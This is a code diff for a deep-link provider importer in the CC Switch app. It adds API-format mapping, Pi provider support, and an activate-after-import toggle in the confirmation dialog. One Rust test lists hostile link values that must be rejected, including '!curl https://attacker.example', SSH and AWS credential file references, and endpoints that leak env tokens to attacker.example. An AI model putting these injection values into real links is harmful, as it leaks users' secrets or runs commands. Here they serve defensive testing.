@@ -552,7 +735,7 @@ fn build_opencode_settings(request: &DeepLinkImportRequest) -> serde_json::Value
// Default to openai-compatible npm package
json!({
"npm": "@ai-sdk/openai-compatible",
"npm": native_protocol(&AppType::OpenCode, api_format),
"options": options,
"models": models
})
@@ -560,7 +743,10 @@ fn build_opencode_settings(request: &DeepLinkImportRequest) -> serde_json::Value
/// Build settings for OpenClaw (camelCase live config).
/// Format: { baseUrl, apiKey, api, models }
fn build_additive_app_settings(request: &DeepLinkImportRequest) -> serde_json::Value {
fn build_additive_app_settings(
request: &DeepLinkImportRequest,
api_format: Option<ApiFormat>,
) -> serde_json::Value {
let endpoint = get_primary_endpoint(request);
let mut config = serde_json::Map::new();
@@ -573,7 +759,10 @@ fn build_additive_app_settings(request: &DeepLinkImportRequest) -> serde_json::V
config.insert("apiKey".to_string(), json!(api_key));
}
config.insert("api".to_string(), json!("openai-completions"));
config.insert(
"api".to_string(),
json!(native_protocol(&AppType::OpenClaw, api_format)),
);
if let Some(model) = &request.model {
config.insert(
@@ -597,7 +786,10 @@ fn build_additive_app_settings(request: &DeepLinkImportRequest) -> serde_json::V
/// protocol) and let the user adjust via the UI after import. We never rely
/// on Hermes' built-in URL heuristics, which only recognize a handful of
/// official endpoints.
fn build_hermes_settings(request: &DeepLinkImportRequest) -> serde_json::Value {
fn build_hermes_settings(
request: &DeepLinkImportRequest,
api_format: Option<ApiFormat>,
) -> serde_json::Value {
let endpoint = get_primary_endpoint(request);
let mut config = serde_json::Map::new();
@@ -614,7 +806,10 @@ fn build_hermes_settings(request: &DeepLinkImportRequest) -> serde_json::Value {
config.insert("api_key".to_string(), json!(api_key));
}
config.insert("api_mode".to_string(), json!("chat_completions"));
config.insert(
"api_mode".to_string(),
json!(native_protocol(&AppType::Hermes, api_format)),
);
if let Some(model) = &request.model {
config.insert(
@@ -626,6 +821,45 @@ fn build_hermes_settings(request: &DeepLinkImportRequest) -> serde_json::Value {
json!(config)
}
/// Pi 的 `models.json` 供应商节点,形状同 Pi 页面的表单:显示名、地址、Key、协议和模型列表。
///
/// 节点名是供应商 ID(名称加时间戳),不会和 Pi 内置供应商重名。模型必填:没有模型的节点
/// 在 Pi 里选不到任何模型,导入了也用不上。
fn build_pi_settings(
request: &DeepLinkImportRequest,
api_format: Option<ApiFormat>,
) -> Result<serde_json::Value, AppError> {
let model = request
.model
.as_deref()
.map(str::trim)
.filter(|model| !model.is_empty())
.ok_or_else(|| {
AppError::InvalidInput("Pi providers need a model; add 'model' to the link".to_string())
})?;
let mut config = serde_json::Map::new();
if let Some(name) = request.name.as_deref().filter(|name| !name.is_empty()) {
config.insert("name".to_string(), json!(name));
}
let endpoint = get_primary_endpoint(request);
if !endpoint.is_empty() {
config.insert("baseUrl".to_string(), json!(endpoint));
}
if let Some(api_key) = &request.api_key {
config.insert("apiKey".to_string(), json!(api_key));
}
config.insert(
"api".to_string(),
json!(native_protocol(&AppType::Pi, api_format)),
);
config.insert(
"models".to_string(),
json!([{ "id": model, "name": model }]),
);
Ok(json!(config))
}
// =============================================================================
// Config Merge Logic
// =============================================================================
@@ -689,8 +923,12 @@ pub fn parse_and_merge_config(
"gemini" => merge_gemini_config(&mut merged, &config_value)?,
"grokbuild" => merge_grokbuild_config(&mut merged, &config_value)?,
// Additive mode apps use JSON config directly; pass through as-is
"openclaw" | "opencode" | "hermes" => {
"openclaw" | "opencode" | "hermes" | "pi" => {
merge_additive_config(&mut merged, &config_value)?;
// 从 config 里补来的地址和 Key 同样要查,让确认框当场报错
if let Ok(app_type) = AppType::from_str(request.app.as_deref().unwrap_or("")) {
check_link_values(&app_type, &merged)?;
}
}
"" => {
// No app specified, skip merging
@@ -1118,7 +1356,7 @@ mod tests {
#[test]
fn build_hermes_settings_emits_snake_case() {
let settings = build_hermes_settings(&hermes_request());
let settings = build_hermes_settings(&hermes_request(), None);
let obj = settings.as_object().expect("settings must be object");
assert_eq!(obj.get("name").unwrap(), "MyHermes");
@@ -1138,7 +1376,7 @@ mod tests {
#[test]
fn build_hermes_settings_writes_default_api_mode() {
let settings = build_hermes_settings(&hermes_request());
let settings = build_hermes_settings(&hermes_request(), None);
assert_eq!(
settings.as_object().unwrap().get("api_mode").unwrap(),
"chat_completions",
@@ -1157,7 +1395,7 @@ mod tests {
model: None,
..Default::default()
};
let settings = build_hermes_settings(&request);
let settings = build_hermes_settings(&request, None);
let obj = settings.as_object().unwrap();
assert_eq!(obj.get("name").unwrap(), "Minimal");
@@ -1220,7 +1458,7 @@ mod tests {
api_key: Some("k".to_string()),
..Default::default()
};
let settings = build_additive_app_settings(&request);
let settings = build_additive_app_settings(&request, None);
let obj = settings.as_object().unwrap();
assert!(obj.contains_key("baseUrl"));
assert!(obj.contains_key("apiKey"));
+328 -3
View File
@@ -88,9 +88,10 @@ fn test_parse_deeplink_with_notes() {
}
#[test]
fn pi_provider_deeplink_is_not_a_second_add_provider_entry() {
let url = "ccswitch://v1/import?resource=provider&app=pi&name=Pi";
assert!(parse_deeplink_url(url).is_err());
fn pi_provider_link_without_a_model_is_rejected_up_front() {
let url = "ccswitch://v1/import?resource=provider&app=pi&name=Pi&endpoint=https%3A%2F%2Fapi.example.com%2Fv1&apiKey=sk-test";
let err = parse_deeplink_url(url).expect_err("a Pi node without models is unusable");
assert!(err.to_string().contains("model"), "{err}");
}
#[test]
@@ -284,6 +285,7 @@ fn test_build_gemini_provider_with_model() {
haiku_model: None,
sonnet_model: None,
opus_model: None,
api_format: None,
config: None,
config_format: None,
config_url: None,
@@ -337,6 +339,7 @@ fn test_build_gemini_provider_without_model() {
haiku_model: None,
sonnet_model: None,
opus_model: None,
api_format: None,
config: None,
config_format: None,
config_url: None,
@@ -383,6 +386,7 @@ fn test_deeplink_usage_script_does_not_copy_provider_credentials() {
haiku_model: None,
sonnet_model: None,
opus_model: None,
api_format: None,
config: None,
config_format: None,
config_url: None,
@@ -430,6 +434,7 @@ fn usage_script_request(code: &str, usage_enabled: Option<bool>) -> DeepLinkImpo
haiku_model: None,
sonnet_model: None,
opus_model: None,
api_format: None,
config: None,
config_format: None,
config_url: None,
@@ -546,6 +551,7 @@ fn test_deeplink_usage_script_omits_explicit_credentials_that_match_provider() {
haiku_model: None,
sonnet_model: None,
opus_model: None,
api_format: None,
config: None,
config_format: None,
config_url: None,
@@ -594,6 +600,7 @@ fn test_deeplink_usage_script_preserves_distinct_usage_credentials() {
haiku_model: None,
sonnet_model: None,
opus_model: None,
api_format: None,
config: None,
config_format: None,
config_url: None,
@@ -647,6 +654,7 @@ fn test_parse_and_merge_config_claude() {
haiku_model: None,
sonnet_model: None,
opus_model: None,
api_format: None,
config: Some(config_b64),
config_format: Some("json".to_string()),
config_url: None,
@@ -770,6 +778,7 @@ fn test_parse_and_merge_config_url_override() {
haiku_model: None,
sonnet_model: None,
opus_model: None,
api_format: None,
config: Some(config_b64),
config_format: Some("json".to_string()),
config_url: None,
@@ -833,6 +842,7 @@ fn test_build_claude_provider_preserves_custom_env_fields() {
haiku_model: Some("haiku-from-url".to_string()),
sonnet_model: None,
opus_model: None,
api_format: None,
config: Some(config_b64),
config_format: Some("json".to_string()),
config_url: None,
@@ -888,6 +898,7 @@ fn test_build_claude_provider_without_config_unchanged() {
haiku_model: None,
sonnet_model: None,
opus_model: None,
api_format: None,
config: None,
config_format: None,
config_url: None,
@@ -1523,3 +1534,317 @@ fn test_grok_link_config_rejects_credential_providers_and_local_files() {
assert!(err.to_string().contains(key), "{key}: {err}");
}
}
// =============================================================================
// apiFormat:一套取值,按应用换算
// =============================================================================
fn provider_link(app: &str, api_format: Option<&str>) -> String {
let mut url = format!(
"ccswitch://v1/import?resource=provider&app={app}&name=Example&endpoint=https%3A%2F%2Fapi.example.com%2Fv1&apiKey=sk-test&model=example-model"
);
if let Some(format) = api_format {
url.push_str(&format!("&apiFormat={format}"));
}
url
}
fn build_from_link(app: &str, api_format: Option<&str>) -> crate::provider::Provider {
use super::provider::build_provider_from_request;
let request = parse_deeplink_url(&provider_link(app, api_format)).expect("parse link");
let app_type: AppType = app.parse().expect("app type");
build_provider_from_request(&app_type, &request).expect("build provider")
}
#[test]
fn test_api_format_maps_to_each_additive_apps_own_protocol_field() {
let cases = [
("opencode", "npm", "anthropic", "@ai-sdk/anthropic"),
(
"opencode",
"npm",
"openai_chat",
"@ai-sdk/openai-compatible",
),
("opencode", "npm", "openai_responses", "@ai-sdk/openai"),
("opencode", "npm", "gemini_native", "@ai-sdk/google"),
("openclaw", "api", "anthropic", "anthropic-messages"),
("openclaw", "api", "openai_responses", "openai-responses"),
("openclaw", "api", "gemini_native", "google-generative-ai"),
("hermes", "api_mode", "anthropic", "anthropic_messages"),
("hermes", "api_mode", "openai_responses", "codex_responses"),
("pi", "api", "anthropic", "anthropic-messages"),
("pi", "api", "openai_responses", "openai-responses"),
("pi", "api", "gemini_native", "google-generative-ai"),
];
for (app, field, format, expected) in cases {
let provider = build_from_link(app, Some(format));
assert_eq!(
provider.settings_config[field], expected,
"{app} apiFormat={format}"
);
}
}
#[test]
fn test_links_without_api_format_keep_each_apps_previous_protocol() {
let cases = [
("opencode", "npm", "@ai-sdk/openai-compatible"),
("openclaw", "api", "openai-completions"),
("hermes", "api_mode", "chat_completions"),
("pi", "api", "openai-completions"),
];
for (app, field, expected) in cases {
let provider = build_from_link(app, None);
assert_eq!(provider.settings_config[field], expected, "{app}");
}
for app in ["claude", "codex", "grokbuild"] {
let provider = build_from_link(app, None);
assert!(
provider.meta.and_then(|meta| meta.api_format).is_none(),
"{app}: a link without apiFormat must not add meta.apiFormat"
);
}
}
#[test]
fn test_api_format_marks_routed_formats_on_claude_codex_and_grok() {
for (app, format) in [
("claude", "openai_chat"),
("claude", "gemini_native"),
("codex", "openai_chat"),
("codex", "anthropic"),
("grokbuild", "openai_chat"),
] {
let provider = build_from_link(app, Some(format));
assert_eq!(
provider.meta.and_then(|meta| meta.api_format).as_deref(),
Some(format),
"{app} apiFormat={format}"
);
}
}
#[test]
fn test_api_format_rejects_unknown_values_and_unsupported_apps() {
for (app, format) in [
("claude", "openai"),
("codex", "gemini_native"),
("grokbuild", "gemini_native"),
("gemini", "openai_chat"),
("hermes", "gemini_native"),
] {
let err = parse_deeplink_url(&provider_link(app, Some(format)))
.expect_err("unsupported apiFormat must be rejected while parsing");
assert!(
err.to_string().contains("apiFormat"),
"{app}/{format}: {err}"
);
}
}
#[test]
fn test_pi_link_builds_a_models_json_node() {
let provider = build_from_link("pi", Some("anthropic"));
assert_eq!(
provider.settings_config,
serde_json::json!({
"name": "Example",
"baseUrl": "https://api.example.com/v1",
"apiKey": "sk-test",
"api": "anthropic-messages",
"models": [{ "id": "example-model", "name": "example-model" }],
})
);
}
// =============================================================================
// enabled:确认框开关的值。累加式应用决定是否写进应用配置,不调用切换
// =============================================================================
fn import_pi_link(enabled: Option<bool>) -> (AppState, String) {
let mut request =
parse_deeplink_url(&provider_link("pi", Some("openai_chat"))).expect("parse link");
request.enabled = enabled;
let db = Arc::new(Database::memory().expect("create memory db"));
let state = AppState::new(db);
let id = super::import_provider_from_deeplink(&state, request).expect("import Pi provider");
(state, id)
}
#[test]
#[serial_test::serial]
fn test_pi_link_with_the_toggle_off_is_saved_without_touching_models_json() {
let _home = TestHomeGuard::new();
let _agent = crate::pi_config::test_support::TestAgentDir::new();
let (state, id) = import_pi_link(Some(false));
assert!(state.db.get_provider_by_id(&id, "pi").unwrap().is_some());
assert!(!crate::pi_config::pi_provider_exists(&id).unwrap());
}
#[test]
#[serial_test::serial]
fn test_pi_link_with_the_toggle_on_or_unset_is_added_to_models_json() {
let _home = TestHomeGuard::new();
let _agent = crate::pi_config::test_support::TestAgentDir::new();
for enabled in [Some(true), None] {
let (_state, id) = import_pi_link(enabled);
let node = crate::pi_config::read_pi_native_provider(&id)
.unwrap()
.expect("node written to models.json");
assert_eq!(node["api"], "openai-completions", "{enabled:?}");
}
}
// =============================================================================
// 累加式应用会解释的写法:命令、环境变量、文件引用
// =============================================================================
fn link_with(app: &str, param: &str, raw_value: &str) -> String {
let base = provider_link(app, None);
let value: String = url::form_urlencoded::byte_serialize(raw_value.as_bytes()).collect();
// provider_link 已带 endpoint / apiKey / model,替换掉同名参数
let mut url = url::Url::parse(&base).unwrap();
let pairs: Vec<(String, String)> = url
.query_pairs()
.filter(|(key, _)| key != param)
.map(|(key, value)| (key.into_owned(), value.into_owned()))
.collect();
url.query_pairs_mut().clear().extend_pairs(pairs);
format!("{url}&{param}={value}")
}
#[test]
fn test_links_that_smuggle_commands_env_vars_or_files_into_additive_apps_are_rejected() {
for (app, param, value) in [
("pi", "apiKey", "!printf review-fixture"),
("pi", "apiKey", " !curl https://attacker.example"),
("pi", "apiKey", "$OPENAI_API_KEY"),
("pi", "apiKey", "${AWS_SECRET_ACCESS_KEY}"),
("pi", "model", "${HOME}"),
("opencode", "apiKey", "{file:~/.ssh/id_ed25519}"),
("opencode", "apiKey", "{env:ANTHROPIC_API_KEY}"),
(
"opencode",
"endpoint",
"https://attacker.example/{env:GITHUB_TOKEN}",
),
(
"openclaw",
"endpoint",
"https://attacker.example/${OPENAI_API_KEY}",
),
("openclaw", "apiKey", "${OPENAI_API_KEY}"),
("hermes", "apiKey", "${ANTHROPIC_API_KEY}"),
("hermes", "name", "${HOME}"),
] {
let err = parse_deeplink_url(&link_with(app, param, value))
.expect_err("dynamic syntax must be rejected while parsing");
assert!(
err.to_string().contains(param),
"{app}/{param}={value}: {err}"
);
}
}
#[test]
fn test_dynamic_syntax_guard_leaves_ordinary_values_alone() {
for (app, param, value) in [
("pi", "apiKey", "sk-abc$1def"),
("pi", "apiKey", "sk-ends-with-!"),
("opencode", "apiKey", "sk-{not-a-reference}"),
// 切换式应用的客户端不展开这些写法,照常导入
("claude", "apiKey", "!literal-key"),
("codex", "apiKey", "${literal}"),
] {
parse_deeplink_url(&link_with(app, param, value))
.unwrap_or_else(|err| panic!("{app}/{param}={value} should parse: {err}"));
}
}
#[test]
fn test_dynamic_syntax_guard_also_covers_values_from_config_and_direct_requests() {
use super::provider::build_provider_from_request;
// config 里补来的 Key 在合并时就拒绝
let config = BASE64_STANDARD.encode(r#"{"apiKey":"{file:~/.aws/credentials}"}"#);
let url = format!(
"ccswitch://v1/import?resource=provider&app=opencode&name=Example&endpoint=https%3A%2F%2Fapi.example.com%2Fv1&model=m&config={config}"
);
let request = parse_deeplink_url(&url).expect("URL params themselves are fine");
assert!(parse_and_merge_config(&request).is_err());
// 前端可以直接把请求发给导入命令,不经过解析器:构建时还要再查一次
let request = DeepLinkImportRequest {
resource: "provider".to_string(),
app: Some("pi".to_string()),
name: Some("Example".to_string()),
endpoint: Some("https://api.example.com/v1".to_string()),
api_key: Some("!printf review-fixture".to_string()),
model: Some("m".to_string()),
..Default::default()
};
assert!(build_provider_from_request(&AppType::Pi, &request).is_err());
}
// =============================================================================
// 切换式应用关掉「导入后立即切换」:只存进列表,即使还没有当前供应商
// =============================================================================
fn import_claude_link(enabled: Option<bool>) -> (AppState, String) {
let mut request = parse_deeplink_url(&provider_link("claude", None)).expect("parse link");
request.enabled = enabled;
let db = Arc::new(Database::memory().expect("create memory db"));
let state = AppState::new(db);
let id = super::import_provider_from_deeplink(&state, request).expect("import provider");
(state, id)
}
#[test]
#[serial_test::serial]
fn test_first_switch_mode_provider_stays_inactive_when_the_toggle_is_off() {
let _home = TestHomeGuard::new();
for enabled in [Some(false), None] {
let (state, id) = import_claude_link(enabled);
assert!(state
.db
.get_provider_by_id(&id, "claude")
.unwrap()
.is_some());
let current = crate::mode::current::provider_for(
&state.db,
&AppType::Claude,
crate::mode::current::Purpose::Direct,
)
.unwrap();
assert_eq!(current, None, "{enabled:?}: must not become current");
assert!(
!crate::config::get_claude_settings_path().exists(),
"{enabled:?}: the client config must not be written"
);
}
}
#[test]
#[serial_test::serial]
fn test_first_switch_mode_provider_takes_effect_when_the_toggle_is_on() {
let _home = TestHomeGuard::new();
let (state, id) = import_claude_link(Some(true));
let current = crate::mode::current::provider_for(
&state.db,
&AppType::Claude,
crate::mode::current::Purpose::Direct,
)
.unwrap();
assert_eq!(current.as_deref(), Some(id.as_str()));
let settings = std::fs::read_to_string(crate::config::get_claude_settings_path())
.expect("client config written");
assert!(settings.contains("https://api.example.com/v1"));
}
+33 -7
View File
@@ -5491,6 +5491,38 @@ impl ProviderService {
Ok(true)
}
/// 新增供应商之前的规范化和校验,`add` 和 `add_without_switching` 共用。
fn prepare_new_provider(app_type: &AppType, provider: &mut Provider) -> Result<(), AppError> {
// Normalize Claude model keys
Self::normalize_provider_if_claude(app_type, provider);
Self::validate_provider_settings(app_type, provider)?;
Self::normalize_usage_script_credential_overrides(app_type, provider);
if matches!(app_type, AppType::Claude | AppType::Codex | AppType::Gemini) {
keep_common_config_for_old_versions(provider);
}
Ok(())
}
/// 只把供应商存进列表,不写客户端配置、不动当前指针(切换式应用)。
///
/// `add` 在还没有当前供应商时会让新的这家直接生效;深链接导入时用户关掉了「导入后立即
/// 切换」,就不能这样,交给用户之后自己切换。
pub fn add_without_switching(
state: &AppState,
app_type: AppType,
provider: Provider,
) -> Result<bool, AppError> {
if app_type.is_additive_mode() {
return Self::add(state, app_type, provider, false);
}
let mut provider = provider;
Self::prepare_new_provider(&app_type, &mut provider)?;
// 和切换互斥:等着的切换不能看到只存了一半的行
let _switch_guard = crate::mode::controller::lock_settled_blocking(state, &app_type)?;
state.db.save_provider(app_type.as_str(), &provider)?;
Ok(true)
}
/// Add a new provider
pub fn add(
state: &AppState,
@@ -5503,16 +5535,10 @@ impl ProviderService {
}
let mut provider = provider;
// Normalize Claude model keys
Self::normalize_provider_if_claude(&app_type, &mut provider);
Self::validate_provider_settings(&app_type, &provider)?;
Self::normalize_usage_script_credential_overrides(&app_type, &mut provider);
Self::prepare_new_provider(&app_type, &mut provider)?;
if app_type.is_additive_mode() {
Self::set_provider_live_config_managed(&mut provider, add_to_live);
}
if matches!(app_type, AppType::Claude | AppType::Codex | AppType::Gemini) {
keep_common_config_for_old_versions(&mut provider);
}
if matches!(app_type, AppType::Codex) {
return Self::add_codex(state, provider);
@@ -8,7 +8,7 @@ notes: imported from link
icon: anthropic
icon_color: NULL
meta: {"commonConfigEnabled":true}
is_current: true
is_current: false
in_failover_queue: false
id: relayb-<ts>
@@ -8,6 +8,6 @@ notes: NULL
icon: NULL
icon_color: NULL
meta: {"commonConfigEnabled":true}
is_current: true
is_current: false
in_failover_queue: false
@@ -8,6 +8,6 @@ notes: NULL
icon: openai
icon_color: NULL
meta: {"commonConfigEnabled":true}
is_current: true
is_current: false
in_failover_queue: false
@@ -8,6 +8,6 @@ notes: NULL
icon: NULL
icon_color: NULL
meta: {"commonConfigEnabled":true}
is_current: true
is_current: false
in_failover_queue: false
@@ -8,6 +8,6 @@ notes: NULL
icon: NULL
icon_color: NULL
meta: {}
is_current: true
is_current: false
in_failover_queue: false
@@ -8,6 +8,6 @@ notes: NULL
icon: NULL
icon_color: NULL
meta: {}
is_current: true
is_current: false
in_failover_queue: false
+86 -11
View File
@@ -31,6 +31,35 @@ import {
riskI18nKey,
} from "@/utils/deeplinkRisk";
import { decodeBase64Utf8 } from "@/lib/utils/base64";
import { Switch } from "@/components/ui/switch";
import { getAppLabel, isAdditiveAppId } from "@/config/appConfig";
const API_FORMAT_LABELS: Record<
NonNullable<DeepLinkImportRequest["apiFormat"]>,
string
> = {
anthropic: "Anthropic Messages",
openai_chat: "OpenAI Chat Completions",
openai_responses: "OpenAI Responses",
gemini_native: "Gemini",
};
/**
* 「导入后立即生效」开关的初始值:链接里的 `enabled` 只是建议,导入时以开关为准。
*
* 累加式应用(OpenCode、OpenClaw、Hermes、Pi)的开关决定写不写进应用配置,旧链接没写时
* 一直是写进去的,初始值保持打开;切换式应用和提示词默认关闭。
*/
function initialActivation(request: DeepLinkImportRequest): boolean {
if (
request.resource === "provider" &&
request.app &&
isAdditiveAppId(request.app)
) {
return request.enabled ?? true;
}
return request.enabled === true;
}
export function DeepLinkImportDialog() {
const { t } = useTranslation();
@@ -38,6 +67,11 @@ export function DeepLinkImportDialog() {
const [request, setRequest] = useState<DeepLinkImportRequest | null>(null);
const [isImporting, setIsImporting] = useState(false);
const [isOpen, setIsOpen] = useState(false);
const [activateAfterImport, setActivateAfterImport] = useState(false);
useEffect(() => {
if (request) setActivateAfterImport(initialActivation(request));
}, [request]);
// 容错判断:MCP 导入结果可能缺少 type 字段
const isMcpImportResult = (
@@ -151,7 +185,7 @@ export function DeepLinkImportDialog() {
};
}, []);
// 托盘列出供应商和当前项,导入(以及 enabled=true 时的切换)后要重建
// 托盘列出供应商和当前项,导入(以及打开开关时的切换)后要重建
const refreshTrayMenu = async () => {
try {
await providersApi.updateTrayMenu();
@@ -169,7 +203,12 @@ export function DeepLinkImportDialog() {
setIsImporting(true);
try {
const result = await deeplinkApi.importFromDeeplink(request);
// 供应商和提示词的「立即生效」由用户在确认框里决定,覆盖链接里的值
const payload =
request.resource === "provider" || request.resource === "prompt"
? { ...request, enabled: activateAfterImport }
: request;
const result = await deeplinkApi.importFromDeeplink(payload);
const refreshMcp = async (summary: {
importedCount: number;
importedIds: string[];
@@ -367,7 +406,11 @@ export function DeepLinkImportDialog() {
{/* 主体内容整体右移,略大于标题内边距,让内容看起来不贴边 */}
<div className="space-y-4 px-8 py-4 max-h-[60vh] overflow-y-auto [scrollbar-width:thin] [&::-webkit-scrollbar]:w-1.5 [&::-webkit-scrollbar]:block [&::-webkit-scrollbar-thumb]:rounded-full [&::-webkit-scrollbar-thumb]:bg-subtle">
{request.resource === "prompt" && (
<PromptConfirmation request={request} />
<PromptConfirmation
request={request}
enableAfterImport={activateAfterImport}
onEnableAfterImportChange={setActivateAfterImport}
/>
)}
{request.resource === "mcp" && (
<McpConfirmation request={request} />
@@ -532,6 +575,18 @@ export function DeepLinkImportDialog() {
</>
)}
{request.apiFormat && (
<div className="grid grid-cols-3 items-center gap-4">
<div className="font-medium text-sm text-fg-2">
{t("deeplink.apiFormat")}
</div>
<div className="col-span-2 text-sm">
{API_FORMAT_LABELS[request.apiFormat] ??
request.apiFormat}
</div>
</div>
)}
{/* Notes (if present) */}
{request.notes && (
<div className="grid grid-cols-3 items-start gap-4">
@@ -825,15 +880,35 @@ export function DeepLinkImportDialog() {
)}
{/*
enabled=true 会在导入后立即切到这家,客户端流量随之改走链接里的地址。
提示词和 MCP 都有同类提示,供应商不能例外。
导入后是否立即生效由用户决定,链接里的 enabled 只是初始值。切换式应用打开后
会立即切到这家,客户端流量随之改走链接里的地址,所以打开时要给出提示。
*/}
{request.enabled === true && (
<div className="text-warning-text text-sm flex items-start gap-2">
<span aria-hidden="true">⚠️</span>
<span>{t("deeplink.providerEnabledWarning")}</span>
</div>
)}
<div className="flex items-center justify-between gap-4 pt-2 border-t border-border">
<label
htmlFor="deeplink-activate-after-import"
className="text-sm font-medium"
>
{request.app && isAdditiveAppId(request.app)
? request.app === "pi"
? t("deeplink.enableInPiAfterImport")
: t("deeplink.addToAppAfterImport", {
app: getAppLabel(request.app),
})
: t("deeplink.switchAfterImport")}
</label>
<Switch
id="deeplink-activate-after-import"
checked={activateAfterImport}
onCheckedChange={setActivateAfterImport}
/>
</div>
{activateAfterImport &&
!(request.app && isAdditiveAppId(request.app)) && (
<div className="text-warning-text text-sm flex items-start gap-2">
<span aria-hidden="true">⚠️</span>
<span>{t("deeplink.providerEnabledWarning")}</span>
</div>
)}
{/* Warning */}
<div className="rounded-lg bg-warning-soft p-3 text-sm text-warning-text">
+21 -1
View File
@@ -2,11 +2,17 @@ import { useMemo } from "react";
import { useTranslation } from "react-i18next";
import { DeepLinkImportRequest } from "../../lib/api/deeplink";
import { decodeBase64Utf8 } from "../../lib/utils/base64";
import { Switch } from "../ui/switch";
export function PromptConfirmation({
request,
enableAfterImport,
onEnableAfterImportChange,
}: {
request: DeepLinkImportRequest;
/** 导入后是否立即启用:用户在确认框里决定,链接里的 enabled 只是初始值 */
enableAfterImport: boolean;
onEnableAfterImportChange: (enabled: boolean) => void;
}) {
const { t } = useTranslation();
@@ -52,7 +58,21 @@ export function PromptConfirmation({
</pre>
</div>
{request.enabled && (
<div className="flex items-center justify-between gap-4">
<label
htmlFor="deeplink-prompt-enable-after-import"
className="text-sm font-medium"
>
{t("deeplink.prompt.enableAfterImport")}
</label>
<Switch
id="deeplink-prompt-enable-after-import"
checked={enableAfterImport}
onCheckedChange={onEnableAfterImportChange}
/>
</div>
{enableAfterImport && (
<div className="text-warning-text text-sm flex items-center gap-2">
<span>⚠️</span>
<span>{t("deeplink.prompt.enabledWarning")}</span>
+6 -1
View File
@@ -3380,6 +3380,10 @@
"importing": "Importing...",
"warning": "Please confirm the information above is correct before importing. You can edit or delete it later in the provider list.",
"providerEnabledWarning": "After import, CC Switch will switch to this provider immediately, and client requests will go to the endpoint above",
"apiFormat": "API format",
"switchAfterImport": "Switch to this provider after import",
"addToAppAfterImport": "Add to the {{app}} config after import",
"enableInPiAfterImport": "Enable in Pi after import",
"parseError": "Failed to parse deep link",
"importSuccess": "Import successful",
"importSuccessDescription": "Provider \"{{name}}\" has been successfully imported",
@@ -3409,7 +3413,8 @@
"name": "Name",
"description": "Description",
"contentPreview": "Content Preview",
"enabledWarning": "After import, this prompt will be enabled immediately and other prompts will be disabled"
"enabledWarning": "After import, this prompt will be enabled immediately and other prompts will be disabled",
"enableAfterImport": "Enable after import"
},
"skill": {
"title": "Add Claude Skill Repository",
+6 -1
View File
@@ -3380,6 +3380,10 @@
"importing": "インポート中...",
"warning": "インポート前に内容を確認してください。後から一覧で編集・削除できます。",
"providerEnabledWarning": "インポート後すぐにこのプロバイダーへ切り替わり、クライアントのリクエストは上記のエンドポイントに送られます",
"apiFormat": "API 形式",
"switchAfterImport": "インポート後にこのプロバイダーへ切り替える",
"addToAppAfterImport": "インポート後に {{app}} の設定へ追加する",
"enableInPiAfterImport": "インポート後に Pi で有効にする",
"parseError": "ディープリンクの解析に失敗しました",
"importSuccess": "インポート成功",
"importSuccessDescription": "プロバイダー「{{name}}」をインポートしました",
@@ -3409,7 +3413,8 @@
"name": "名前",
"description": "説明",
"contentPreview": "内容プレビュー",
"enabledWarning": "インポート後すぐにこのプロンプトが有効になり、他は無効になります"
"enabledWarning": "インポート後すぐにこのプロンプトが有効になり、他は無効になります",
"enableAfterImport": "インポート後に有効にする"
},
"skill": {
"title": "Claude スキルリポジトリを追加",
+6 -1
View File
@@ -3381,6 +3381,10 @@
"importing": "匯入中...",
"warning": "請確認以上資訊準確無誤後再匯入。匯入後可在供應商清單中編輯或刪除。",
"providerEnabledWarning": "匯入後將立即切換到此供應商,用戶端請求會改送到上面的位址",
"apiFormat": "介面格式",
"switchAfterImport": "匯入後立即切換到這個供應商",
"addToAppAfterImport": "匯入後立即新增到 {{app}} 設定",
"enableInPiAfterImport": "匯入後立即在 Pi 中啟用",
"parseError": "深層連結解析失敗",
"importSuccess": "匯入成功",
"importSuccessDescription": "供應商 \"{{name}}\" 已成功匯入",
@@ -3410,7 +3414,8 @@
"name": "名稱",
"description": "描述",
"contentPreview": "內容預覽",
"enabledWarning": "匯入後將立即啟用此提示詞,其他提示詞將被停用"
"enabledWarning": "匯入後將立即啟用此提示詞,其他提示詞將被停用",
"enableAfterImport": "匯入後立即啟用"
},
"skill": {
"title": "新增 Claude Skill 儲存庫",
+6 -1
View File
@@ -3380,6 +3380,10 @@
"importing": "导入中...",
"warning": "请确认以上信息准确无误后再导入。导入后可在供应商列表中编辑或删除。",
"providerEnabledWarning": "导入后将立即切换到此供应商,客户端请求会改发到上面的地址",
"apiFormat": "接口格式",
"switchAfterImport": "导入后立即切换到这个供应商",
"addToAppAfterImport": "导入后立即添加到 {{app}} 配置",
"enableInPiAfterImport": "导入后立即在 Pi 中启用",
"parseError": "深链接解析失败",
"importSuccess": "导入成功",
"importSuccessDescription": "供应商 \"{{name}}\" 已成功导入",
@@ -3409,7 +3413,8 @@
"name": "名称",
"description": "描述",
"contentPreview": "内容预览",
"enabledWarning": "导入后将立即启用此提示词,其他提示词将被禁用"
"enabledWarning": "导入后将立即启用此提示词,其他提示词将被禁用",
"enableAfterImport": "导入后立即启用"
},
"skill": {
"title": "添加 Claude Skill 仓库",
+6
View File
@@ -29,6 +29,12 @@ export interface DeepLinkImportRequest {
haikuModel?: string;
sonnetModel?: string;
opusModel?: string;
/** 接口格式,后端按应用换算成各自的字段 */
apiFormat?:
| "anthropic"
| "openai_chat"
| "openai_responses"
| "gemini_native";
// Prompt fields
content?: string;
@@ -1,4 +1,5 @@
import { act, render, screen, waitFor } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import { afterEach, describe, expect, it, vi } from "vitest";
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
import { DeepLinkImportDialog } from "@/components/DeepLinkImportDialog";
@@ -209,6 +210,124 @@ describe("DeepLinkImportDialog", () => {
).not.toBeInTheDocument();
});
describe("the activate-after-import switch", () => {
// 记下导入请求里的 enabled:开关的值必须覆盖链接里的 enabled
const captureImport = () => {
const sent: Array<Record<string, unknown>> = [];
server.use(
http.post(
"http://tauri.local/import_from_deeplink_unified",
async ({ request }) => {
const body = (await request.json()) as {
request: Record<string, unknown>;
};
sent.push(body.request);
return HttpResponse.json(
body.request.resource === "prompt"
? { type: "prompt", id: "p1" }
: { type: "provider", id: "p1" },
);
},
),
);
return sent;
};
const providerLink = (extra: Record<string, unknown>) => ({
version: "v1",
resource: "provider",
name: "Toggle Provider",
homepage: "https://example.com",
endpoint: "https://api.example.com",
apiKey: "sk-provider-key",
...extra,
});
it("starts from the link's enabled and lets the user turn switching off", async () => {
const sent = captureImport();
const user = userEvent.setup();
